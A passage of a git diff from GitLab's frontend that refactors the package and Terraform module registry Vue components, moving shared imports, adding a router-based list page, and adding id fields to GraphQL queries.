provide: {
- titleComponent: 'InfrastructureTitle',
- searchComponent: 'InfrastructureSearch',
- iconComponent: 'InfrastructureIconAndName',
emptyPageTitle: s__('InfrastructureRegistry|You have no Terraform modules in your project'),
noResultsText: s__(
'InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab.',
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/constants.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/constants.js
new file mode 100644
index 00000000000..ab52ec01d40
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/constants.js
@@ -0,0 +1 @@
+export const TRACK_CATEGORY = 'UI::TerraformPackages';
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/infrastructure_icon_and_name.vue
index 3100a1a7296..3100a1a7296 100644
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/infrastructure_icon_and_name.vue
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/package_list_row.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/package_list_row.vue
new file mode 100644
index 00000000000..3c6b8344c34
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/package_list_row.vue
@@ -0,0 +1,161 @@
+<script>
+import { GlButton, GlLink, GlSprintf, GlTooltipDirective, GlTruncate } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
+import timeagoMixin from '~/vue_shared/mixins/timeago';
+import {
+ PACKAGE_ERROR_STATUS,
+ PACKAGE_DEFAULT_STATUS,
+} from '~/packages_and_registries/shared/constants';
+import PackagePath from '~/packages_and_registries/shared/components/package_path.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
+import PublishMethod from '~/packages_and_registries/shared/components/publish_method.vue';
+import InfrastructureIconAndName from '~/packages_and_registries/infrastructure_registry/shared/infrastructure_icon_and_name.vue';
+
+export default {
+ name: 'PackageListRow',
+ components: {
+ GlButton,
+ GlLink,
+ GlSprintf,
+ GlTruncate,
+ PackageTags,
+ PackagePath,
+ PublishMethod,
+ ListItem,
+ InfrastructureIconAndName,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [timeagoMixin],
+ props: {
+ packageEntity: {
+ type: Object,
+ required: true,
+ },
+ packageLink: {
+ type: String,
+ required: true,
+ },
+ disableDelete: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ isGroup: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ showPackageType: {
+ type: Boolean,
+ default: true,
+ required: false,
+ },
+ },
+ computed: {
+ hasPipeline() {
+ return Boolean(this.packageEntity.pipeline);
+ },
+ hasProjectLink() {
+ return Boolean(this.packageEntity.project_path);
+ },
+ showWarningIcon() {
+ return this.packageEntity.status === PACKAGE_ERROR_STATUS;
+ },
+ disabledRow() {
+ return this.packageEntity.status && this.packageEntity.status !== PACKAGE_DEFAULT_STATUS;
+ },
+ disabledDeleteButton() {
+ return this.disabledRow || !this.packageEntity._links.delete_api_path;
+ },
+ },
+ i18n: {
+ erroredPackageText: s__('PackageRegistry|Invalid Package: failed metadata extraction'),
+ },
+};
+</script>
+
+<template>
+ <list-item data-qa-selector="package_row" :disabled="disabledRow">
+ <template #left-primary>
+ <div class="gl-display-flex gl-align-items-center gl-mr-3 gl-min-w-0">
+ <gl-link
+ :href="packageLink"
+ class="gl-text-body gl-min-w-0"
+ data-qa-selector="package_link"
+ :disabled="disabledRow"
+ >
+ <gl-truncate :text="packageEntity.name" />
+ </gl-link>
+
+ <gl-button
+ v-if="showWarningIcon"
+ v-gl-tooltip="{ title: $options.i18n.erroredPackageText }"
+ class="gl-hover-bg-transparent!"
+ icon="warning"
+ category="tertiary"
+ data-testid="warning-icon"
+ :aria-label="__('Warning')"
+ />
+
+ <package-tags
+ v-if="packageEntity.tags && packageEntity.tags.length"
+ class="gl-ml-3"
+ :tags="packageEntity.tags"
+ hide-label
+ :tag-display-limit="1"
+ />
+ </div>
+ </template>
+ <template #left-secondary>
+ <div class="gl-display-flex">
+ <span>{{ packageEntity.version }}</span>
+
+ <div v-if="hasPipeline" class="gl-display-none gl-sm-display-flex gl-ml-2">
+ <gl-sprintf :message="s__('PackageRegistry|published by %{author}')">
+ <template #author>{{ packageEntity.pipeline.user.name }}</template>
+ </gl-sprintf>
+ </div>
+
+ <infrastructure-icon-and-name v-if="showPackageType" />
+
+ <package-path
+ v-if="hasProjectLink"
+ :path="packageEntity.project_path"
+ :disabled="disabledRow"
+ />
+ </div>
+ </template>
+
+ <template #right-primary>
+ <publish-method :package-entity="packageEntity" :is-group="isGroup" />
+ </template>
+
+ <template #right-secondary>
+ <span>
+ <gl-sprintf :message="__('Created %{timestamp}')">
+ <template #timestamp>
+ <span v-gl-tooltip :title="tooltipTitle(packageEntity.created_at)">
+ {{ timeFormatted(packageEntity.created_at) }}
+ </span>
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+
+ <template v-if="!disableDelete" #right-action>
+ <gl-button
+ data-testid="action-delete"
+ icon="remove"
+ category="secondary"
+ variant="danger"
+ :title="s__('PackageRegistry|Remove package')"
+ :aria-label="s__('PackageRegistry|Remove package')"
+ :disabled="disabledDeleteButton"
+ @click="$emit('packageToDelete', packageEntity)"
+ />
+ </template>
+ </list-item>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue
index bcbeec72961..d49c1be5202 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue
@@ -15,7 +15,7 @@ import { convertToGraphQLId } from '~/graphql_shared/utils';
import { numberToHumanSize } from '~/lib/utils/number_utils';
import { objectToQuery } from '~/lib/utils/url_utility';
import { s__, __ } from '~/locale';
-import { packageTypeToTrackCategory } from '~/packages/shared/utils';
+import { packageTypeToTrackCategory } from '~/packages_and_registries/package_registry/utils';
import AdditionalMetadata from '~/packages_and_registries/package_registry/components/details/additional_metadata.vue';
import DependencyRow from '~/packages_and_registries/package_registry/components/details/dependency_row.vue';
import InstallationCommands from '~/packages_and_registries/package_registry/components/details/installation_commands.vue';
@@ -304,6 +304,7 @@ export default {
<template #default="{ deletePackage }">
<gl-modal
ref="deleteModal"
+ size="sm"
modal-id="delete-modal"
data-testid="delete-modal"
:action-primary="$options.modal.packageDeletePrimaryAction"
@@ -327,6 +328,7 @@ export default {
<gl-modal
ref="deleteFileModal"
+ size="sm"
modal-id="delete-file-modal"
:action-primary="$options.modal.fileDeletePrimaryAction"
:action-cancel="$options.modal.cancelAction"
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_title.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_title.vue
index 44d7807639d..118c509828c 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_title.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_title.vue
@@ -3,7 +3,7 @@ import { GlIcon, GlSprintf, GlBadge, GlResizeObserverDirective } from '@gitlab/u
import { GlBreakpointInstance } from '@gitlab/ui/dist/utils';
import { numberToHumanSize } from '~/lib/utils/number_utils';
import { __ } from '~/locale';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
import { PACKAGE_TYPE_NUGET } from '~/packages_and_registries/package_registry/constants';
import { getPackageTypeLabel } from '~/packages_and_registries/package_registry/utils';
import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/version_row.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/version_row.vue
index d218a405af6..1afd1b69db0 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/details/version_row.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/version_row.vue
@@ -1,8 +1,8 @@
<script>
import { GlLink, GlSprintf, GlTruncate } from '@gitlab/ui';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
-import PublishMethod from '~/packages/shared/components/publish_method.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
+import PublishMethod from '~/packages_and_registries/shared/components/publish_method.vue';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import { PACKAGE_DEFAULT_STATUS } from '../../constants';
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/list/app.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/list/app.vue
deleted file mode 100644
index 11eeaf933ff..00000000000
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/list/app.vue
+++ /dev/null
@@ -1,198 +0,0 @@
-<script>
-import { GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
-import createFlash from '~/flash';
-import { historyReplaceState } from '~/lib/utils/common_utils';
-import { s__ } from '~/locale';
-import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
-import {
- PROJECT_RESOURCE_TYPE,
- GROUP_RESOURCE_TYPE,
- GRAPHQL_PAGE_SIZE,
- DELETE_PACKAGE_SUCCESS_MESSAGE,
-} from '~/packages_and_registries/package_registry/constants';
-import getPackagesQuery from '~/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql';
-
-import DeletePackage from '~/packages_and_registries/package_registry/components/functional/delete_package.vue';
-import PackageTitle from './package_title.vue';
-import PackageSearch from './package_search.vue';
-import PackageList from './packages_list.vue';
-
-export default {
- components: {
- GlEmptyState,
- GlLink,
- GlSprintf,
- PackageList,
- PackageTitle,
- PackageSearch,
- DeletePackage,
- },
- inject: [
- 'packageHelpUrl',
- 'emptyListIllustration',
- 'emptyListHelpUrl',
- 'isGroupPage',
- 'fullPath',
- ],
- data() {
- return {
- packages: {},
- sort: '',
- filters: {},
- mutationLoading: false,
- };
- },
- apollo: {
- packages: {
- query: getPackagesQuery,
- variables() {
- return this.queryVariables;
- },
- update(data) {
- return data[this.graphqlResource].packages;
- },
- skip() {
- return !this.sort;
- },
- },
- },
- computed: {
- queryVariables() {
- return {
- isGroupPage: this.isGroupPage,
- fullPath: this.fullPath,
- sort: this.isGroupPage ? undefined : this.sort,
- groupSort: this.isGroupPage ? this.sort : undefined,
- packageName: this.filters?.packageName,
- packageType: this.filters?.packageType,
- first: GRAPHQL_PAGE_SIZE,
- };
- },
- graphqlResource() {
- return this.isGroupPage ? GROUP_RESOURCE_TYPE : PROJECT_RESOURCE_TYPE;
- },
- pageInfo() {
- return this.packages?.pageInfo ?? {};
- },
- packagesCount() {
- return this.packages?.count;
- },
- hasFilters() {
- return this.filters.packageName && this.filters.packageType;
- },
- emptySearch() {
- return !this.filters.packageName && !this.filters.packageType;
- },
- emptyStateTitle() {
- return this.emptySearch
- ? this.$options.i18n.emptyPageTitle
- : this.$options.i18n.noResultsTitle;
- },
- isLoading() {
- return this.$apollo.queries.packages.loading || this.mutationLoading;
- },
- refetchQueriesData() {
- return [
- {
- query: getPackagesQuery,
- variables: this.queryVariables,
- },
- ];
- },
- },
- mounted() {
- this.checkDeleteAlert();
- },
- methods: {
- checkDeleteAlert() {
- const urlParams = new URLSearchParams(window.location.search);
- const showAlert = urlParams.get(SHOW_DELETE_SUCCESS_ALERT);
- if (showAlert) {
- // to be refactored to use gl-alert
- createFlash({ message: DELETE_PACKAGE_SUCCESS_MESSAGE, type: 'notice' });
- const cleanUrl = window.location.href.split('?')[0];
- historyReplaceState(cleanUrl);
- }
- },
- handleSearchUpdate({ sort, filters }) {
- this.sort = sort;
- this.filters = { ...filters };
- },
- updateQuery(_, { fetchMoreResult }) {
- return fetchMoreResult;
- },
- fetchNextPage() {
- const variables = {
- ...this.queryVariables,
- first: GRAPHQL_PAGE_SIZE,
- last: null,
- after: this.pageInfo?.endCursor,
- };
-
- this.$apollo.queries.packages.fetchMore({
- variables,
- updateQuery: this.updateQuery,
- });
- },
- fetchPreviousPage() {
- const variables = {
- ...this.queryVariables,
- first: null,
- last: GRAPHQL_PAGE_SIZE,
- before: this.pageInfo?.startCursor,
- };
-
- this.$apollo.queries.packages.fetchMore({
- variables,
- updateQuery: this.updateQuery,
- });
- },
- },
- i18n: {
- widenFilters: s__('PackageRegistry|To widen your search, change or remove the filters above.'),
- emptyPageTitle: s__('PackageRegistry|There are no packages yet'),
- noResultsTitle: s__('PackageRegistry|Sorry, your filter produced no results'),
- noResultsText: s__(
- 'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
- ),
- },
-};
-</script>
-
-<template>
- <div>
- <package-title :help-url="packageHelpUrl" :count="packagesCount" />
- <package-search @update="handleSearchUpdate" />
-
- <delete-package
- :refetch-queries="refetchQueriesData"
- show-success-alert
- @start="mutationLoading = true"
- @end="mutationLoading = false"
- >
- <template #default="{ deletePackage }">
- <package-list
- :list="packages.nodes"
- :is-loading="isLoading"
- :page-info="pageInfo"
- @prev-page="fetchPreviousPage"
- @next-page="fetchNextPage"
- @package:delete="deletePackage"
- >
- <template #empty-state>
- <gl-empty-state :title="emptyStateTitle" :svg-path="emptyListIllustration">
- <template #description>
- <gl-sprintf v-if="hasFilters" :message="$options.i18n.widenFilters" />
- <gl-sprintf v-else :message="$options.i18n.noResultsText">
- <template #noPackagesLink="{ content }">
- <gl-link :href="emptyListHelpUrl" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </template>
- </gl-empty-state>
- </template>
- </package-list>
- </template>
- </delete-package>
- </div>
-</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/list/package_list_row.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/list/package_list_row.vue
index 195ff7af583..6fd96c0654f 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/list/package_list_row.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/list/package_list_row.vue
@@ -1,16 +1,16 @@
<script>
import { GlButton, GlLink, GlSprintf, GlTooltipDirective, GlTruncate } from '@gitlab/ui';
-import { s__ } from '~/locale';
+import { s__, __ } from '~/locale';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
import {
PACKAGE_ERROR_STATUS,
PACKAGE_DEFAULT_STATUS,
} from '~/packages_and_registries/package_registry/constants';
-import { getPackageTypeLabel } from '~/packages/shared/utils';
-import PackagePath from '~/packages/shared/components/package_path.vue';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
+import { getPackageTypeLabel } from '~/packages_and_registries/package_registry/utils';
+import PackagePath from '~/packages_and_registries/shared/components/package_path.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
import PublishMethod from '~/packages_and_registries/package_registry/components/list/publish_method.vue';
-import PackageIconAndName from '~/packages/shared/components/package_icon_and_name.vue';
+import PackageIconAndName from '~/packages_and_registries/shared/components/package_icon_and_name.vue';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
@@ -40,7 +40,7 @@ export default {
},
computed: {
packageType() {
- return getPackageTypeLabel(this.packageEntity.packageType.toLowerCase());
+ return getPackageTypeLabel(this.packageEntity.packageType);
},
packageLink() {
const { project, id } = this.packageEntity;
@@ -64,6 +64,7 @@ export default {
},
i18n: {
erroredPackageText: s__('PackageRegistry|Invalid Package: failed metadata extraction'),
+ createdAt: __('Created %{timestamp}'),
},
};
</script>
@@ -127,8 +128,8 @@ export default {
</template>
<template #right-secondary>
- <span>
- <gl-sprintf :message="__('Created %{timestamp}')">
+ <span data-testid="created-date">
+ <gl-sprintf :message="$options.i18n.createdAt">
<template #timestamp>
<timeago-tooltip :time="packageEntity.createdAt" />
</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue
index 2a946544c2f..298ed9bccdb 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue
@@ -2,7 +2,7 @@
import { GlModal, GlSprintf, GlKeysetPagination } from '@gitlab/ui';
import { s__ } from '~/locale';
import PackagesListRow from '~/packages_and_registries/package_registry/components/list/package_list_row.vue';
-import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
import {
DELETE_PACKAGE_TRACKING_ACTION,
REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
@@ -124,6 +124,7 @@ export default {
<gl-modal
v-model="showDeleteModal"
modal-id="confirm-delete-pacakge"
+ size="sm"
ok-variant="danger"
@ok="deleteItemConfirmation"
@cancel="deleteItemCanceled"
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/constants.js b/app/assets/javascripts/packages_and_registries/package_registry/constants.js
index 9fd8880861c..ab6541e4264 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/constants.js
+++ b/app/assets/javascripts/packages_and_registries/package_registry/constants.js
@@ -1,4 +1,15 @@
import { s__, __ } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
+
+export {
+ DELETE_PACKAGE_TRACKING_ACTION,
+ REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
+ CANCEL_DELETE_PACKAGE_TRACKING_ACTION,
+ PULL_PACKAGE_TRACKING_ACTION,
+ DELETE_PACKAGE_FILE_TRACKING_ACTION,
+ REQUEST_DELETE_PACKAGE_FILE_TRACKING_ACTION,
+ CANCEL_DELETE_PACKAGE_FILE_TRACKING_ACTION,
+} from '~/packages_and_registries/shared/constants';
export const PACKAGE_TYPE_CONAN = 'CONAN';
export const PACKAGE_TYPE_MAVEN = 'MAVEN';
@@ -11,14 +22,6 @@ export const PACKAGE_TYPE_GENERIC = 'GENERIC';
export const PACKAGE_TYPE_DEBIAN = 'DEBIAN';
export const PACKAGE_TYPE_HELM = 'HELM';
-export const DELETE_PACKAGE_TRACKING_ACTION = 'delete_package';
-export const REQUEST_DELETE_PACKAGE_TRACKING_ACTION = 'request_delete_package';
-export const CANCEL_DELETE_PACKAGE_TRACKING_ACTION = 'cancel_delete_package';
-export const PULL_PACKAGE_TRACKING_ACTION = 'pull_package';
-export const DELETE_PACKAGE_FILE_TRACKING_ACTION = 'delete_package_file';
-export const REQUEST_DELETE_PACKAGE_FILE_TRACKING_ACTION = 'request_delete_package_file';
-export const CANCEL_DELETE_PACKAGE_FILE_TRACKING_ACTION = 'cancel_delete_package_file';
-
export const TRACKING_LABEL_CODE_INSTRUCTION = 'code_instruction';
export const TRACKING_LABEL_CONAN_INSTALLATION = 'conan_installation';
export const TRACKING_LABEL_MAVEN_INSTALLATION = 'maven_installation';
@@ -134,3 +137,8 @@ export const PACKAGE_TYPES = [
s__('PackageRegistry|Debian'),
s__('PackageRegistry|Helm'),
];
+
+// links
+
+export const EMPTY_LIST_HELP_URL = helpPagePath('user/packages/package_registry/index');
+export const PACKAGE_HELP_URL = helpPagePath('user/packages/index');
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/graphql/fragments/package_data.fragment.graphql b/app/assets/javascripts/packages_and_registries/package_registry/graphql/fragments/package_data.fragment.graphql
index aaf0eb54aff..66315fda9e9 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/graphql/fragments/package_data.fragment.graphql
+++ b/app/assets/javascripts/packages_and_registries/package_registry/graphql/fragments/package_data.fragment.graphql
@@ -7,20 +7,24 @@ fragment PackageData on Package {
status
tags {
nodes {
+ id
name
}
}
- pipelines {
+ pipelines(last: 1) {
nodes {
+ id
sha
ref
commitPath
user {
+ id
name
}
}
}
project {
+ id
fullPath
webUrl
}
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_package_details.query.graphql b/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_package_details.query.graphql
index 14aa14e9822..08ea0938a59 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_package_details.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_package_details.query.graphql
@@ -8,6 +8,7 @@ query getPackageDetails($id: ID!) {
updatedAt
status
project {
+ id
path
}
tags(first: 10) {
@@ -25,9 +26,11 @@ query getPackageDetails($id: ID!) {
commitPath
path
user {
+ id
name
}
project {
+ id
name
webUrl
}
@@ -86,15 +89,18 @@ query getPackageDetails($id: ID!) {
}
}
... on PypiMetadata {
+ id
requiredPython
}
... on ConanMetadata {
+ id
packageChannel
packageUsername
recipe
recipePath
}
... on MavenMetadata {
+ id
appName
appGroup
appVersion
@@ -102,6 +108,7 @@ query getPackageDetails($id: ID!) {
}
... on NugetMetadata {
+ id
iconUrl
licenseUrl
projectUrl
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql b/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql
index e3115365f8b..4b913590949 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql
@@ -14,6 +14,7 @@ query getPackages(
$before: String
) {
project(fullPath: $fullPath) @skip(if: $isGroupPage) {
+ id
packages(
sort: $sort
packageName: $packageName
@@ -33,6 +34,7 @@ query getPackages(
}
}
group(fullPath: $fullPath) @include(if: $isGroupPage) {
+ id
packages(
sort: $groupSort
packageName: $packageName
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/index.js b/app/assets/javascripts/packages_and_registries/package_registry/index.js
new file mode 100644
index 00000000000..7ec931ff9a0
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/package_registry/index.js
@@ -0,0 +1,30 @@
+import Vue from 'vue';
+import Translate from '~/vue_shared/translate';
+import { apolloProvider } from '~/packages_and_registries/package_registry/graphql/index';
+import PackageRegistry from '~/packages_and_registries/package_registry/pages/index.vue';
+import createRouter from './router';
+
+Vue.use(Translate);
+
+export default () => {
+ const el = document.getElementById('js-vue-packages-list');
+ const { endpoint, resourceId, fullPath, pageType, emptyListIllustration } = el.dataset;
+ const router = createRouter(endpoint);
+
+ const isGroupPage = pageType === 'groups';
+
+ return new Vue({
+ el,
+ router,
+ apolloProvider,
+ provide: {
+ resourceId,
+ fullPath,
+ emptyListIllustration,
+ isGroupPage,
+ },
+ render(createElement) {
+ return createElement(PackageRegistry);
+ },
+ });
+};
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/pages/index.vue b/app/assets/javascripts/packages_and_registries/package_registry/pages/index.vue
new file mode 100644
index 00000000000..a14d0c32cbe
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/package_registry/pages/index.vue
@@ -0,0 +1,5 @@
+<template>
+ <div>
+ <router-view />
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/pages/list.js b/app/assets/javascripts/packages_and_registries/package_registry/pages/list.js
deleted file mode 100644
index d797a0a5327..00000000000
--- a/app/assets/javascripts/packages_and_registries/package_registry/pages/list.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import Vue from 'vue';
-import Translate from '~/vue_shared/translate';
-import { apolloProvider } from '~/packages_and_registries/package_registry/graphql/index';
-import PackagesListApp from '../components/list/app.vue';
-
-Vue.use(Translate);
-
-export default () => {
- const el = document.getElementById('js-vue-packages-list');
-
- const isGroupPage = el.dataset.pageType === 'groups';
-
- return new Vue({
- el,
- apolloProvider,
- provide: {
- ...el.dataset,
- isGroupPage,
- },
- render(createElement) {
- return createElement(PackagesListApp);
- },
- });
-};
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue b/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue
new file mode 100644
index 00000000000..38df701157a
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue
@@ -0,0 +1,200 @@
+<script>
+import { GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
+import createFlash from '~/flash';
+import { historyReplaceState } from '~/lib/utils/common_utils';
+import { s__ } from '~/locale';
+import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages_and_registries/shared/constants';
+import {
+ PROJECT_RESOURCE_TYPE,
+ GROUP_RESOURCE_TYPE,
+ GRAPHQL_PAGE_SIZE,
+ DELETE_PACKAGE_SUCCESS_MESSAGE,
+ EMPTY_LIST_HELP_URL,
+ PACKAGE_HELP_URL,
+} from '~/packages_and_registries/package_registry/constants';
+import getPackagesQuery from '~/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql';
+
+import DeletePackage from '~/packages_and_registries/package_registry/components/functional/delete_package.vue';
+import PackageTitle from '~/packages_and_registries/package_registry/components/list/package_title.vue';
+import PackageSearch from '~/packages_and_registries/package_registry/components/list/package_search.vue';
+import PackageList from '~/packages_and_registries/package_registry/components/list/packages_list.vue';
+
+export default {
+ components: {
+ GlEmptyState,
+ GlLink,
+ GlSprintf,
+ PackageList,
+ PackageTitle,
+ PackageSearch,
+ DeletePackage,
+ },
+ inject: ['emptyListIllustration', 'isGroupPage', 'fullPath'],
+ data() {
+ return {
+ packages: {},
+ sort: '',
+ filters: {},
+ mutationLoading: false,
+ };
+ },
+ apollo: {
+ packages: {
+ query: getPackagesQuery,
+ variables() {
+ return this.queryVariables;
+ },
+ update(data) {
+ return data[this.graphqlResource].packages;
+ },
+ skip() {
+ return !this.sort;
+ },
+ },
+ },
+ computed: {
+ queryVariables() {
+ return {
+ isGroupPage: this.isGroupPage,
+ fullPath: this.fullPath,
+ sort: this.isGroupPage ? undefined : this.sort,
+ groupSort: this.isGroupPage ? this.sort : undefined,
+ packageName: this.filters?.packageName,
+ packageType: this.filters?.packageType,
+ first: GRAPHQL_PAGE_SIZE,
+ };
+ },
+ graphqlResource() {
+ return this.isGroupPage ? GROUP_RESOURCE_TYPE : PROJECT_RESOURCE_TYPE;
+ },
+ pageInfo() {
+ return this.packages?.pageInfo ?? {};
+ },
+ packagesCount() {
+ return this.packages?.count;
+ },
+ hasFilters() {
+ return this.filters.packageName && this.filters.packageType;
+ },
+ emptySearch() {
+ return !this.filters.packageName && !this.filters.packageType;
+ },
+ emptyStateTitle() {
+ return this.emptySearch
+ ? this.$options.i18n.emptyPageTitle
+ : this.$options.i18n.noResultsTitle;
+ },
+ isLoading() {
+ return this.$apollo.queries.packages.loading || this.mutationLoading;
+ },
+ refetchQueriesData() {
+ return [
+ {
+ query: getPackagesQuery,
+ variables: this.queryVariables,
+ },
+ ];
+ },
+ },
+ mounted() {
+ this.checkDeleteAlert();
+ },
+ methods: {
+ checkDeleteAlert() {
+ const urlParams = new URLSearchParams(window.location.search);
+ const showAlert = urlParams.get(SHOW_DELETE_SUCCESS_ALERT);
+ if (showAlert) {
+ // to be refactored to use gl-alert
+ createFlash({ message: DELETE_PACKAGE_SUCCESS_MESSAGE, type: 'notice' });
+ const cleanUrl = window.location.href.split('?')[0];
+ historyReplaceState(cleanUrl);
+ }
+ },
+ handleSearchUpdate({ sort, filters }) {
+ this.sort = sort;
+ this.filters = { ...filters };
+ },
+ updateQuery(_, { fetchMoreResult }) {
+ return fetchMoreResult;
+ },
+ fetchNextPage() {
+ const variables = {
+ ...this.queryVariables,
+ first: GRAPHQL_PAGE_SIZE,
+ last: null,
+ after: this.pageInfo?.endCursor,
+ };
+
+ this.$apollo.queries.packages.fetchMore({
+ variables,
+ updateQuery: this.updateQuery,
+ });
+ },
+ fetchPreviousPage() {
+ const variables = {
+ ...this.queryVariables,
+ first: null,
+ last: GRAPHQL_PAGE_SIZE,
+ before: this.pageInfo?.startCursor,
+ };
+
+ this.$apollo.queries.packages.fetchMore({
+ variables,
+ updateQuery: this.updateQuery,
+ });
+ },
+ },
+ i18n: {
+ widenFilters: s__('PackageRegistry|To widen your search, change or remove the filters above.'),
+ emptyPageTitle: s__('PackageRegistry|There are no packages yet'),
+ noResultsTitle: s__('PackageRegistry|Sorry, your filter produced no results'),
+ noResultsText: s__(
+ 'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
+ ),
+ },
+ links: {
+ EMPTY_LIST_HELP_URL,
+ PACKAGE_HELP_URL,
+ },
+};
+</script>
+
+<template>
+ <div>
+ <package-title :help-url="$options.links.PACKAGE_HELP_URL" :count="packagesCount" />
+ <package-search @update="handleSearchUpdate" />
+
+ <delete-package
+ :refetch-queries="refetchQueriesData"
+ show-success-alert
+ @start="mutationLoading = true"
+ @end="mutationLoading = false"
+ >
+ <template #default="{ deletePackage }">
+ <package-list
+ :list="packages.nodes"
+ :is-loading="isLoading"
+ :page-info="pageInfo"
+ @prev-page="fetchPreviousPage"
+ @next-page="fetchNextPage"
+ @package:delete="deletePackage"
+ >
+ <template #empty-state>
+ <gl-empty-state :title="emptyStateTitle" :svg-path="emptyListIllustration">
+ <template #description>
+ <gl-sprintf v-if="hasFilters" :message="$options.i18n.widenFilters" />
+ <gl-sprintf v-else :message="$options.i18n.noResultsText">
+ <template #noPackagesLink="{ content }">
+ <gl-link :href="$options.links.EMPTY_LIST_HELP_URL" target="_blank">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </template>
+ </gl-empty-state>
+ </template>
+ </package-list>
+ </template>
+ </delete-package>
+ </div>
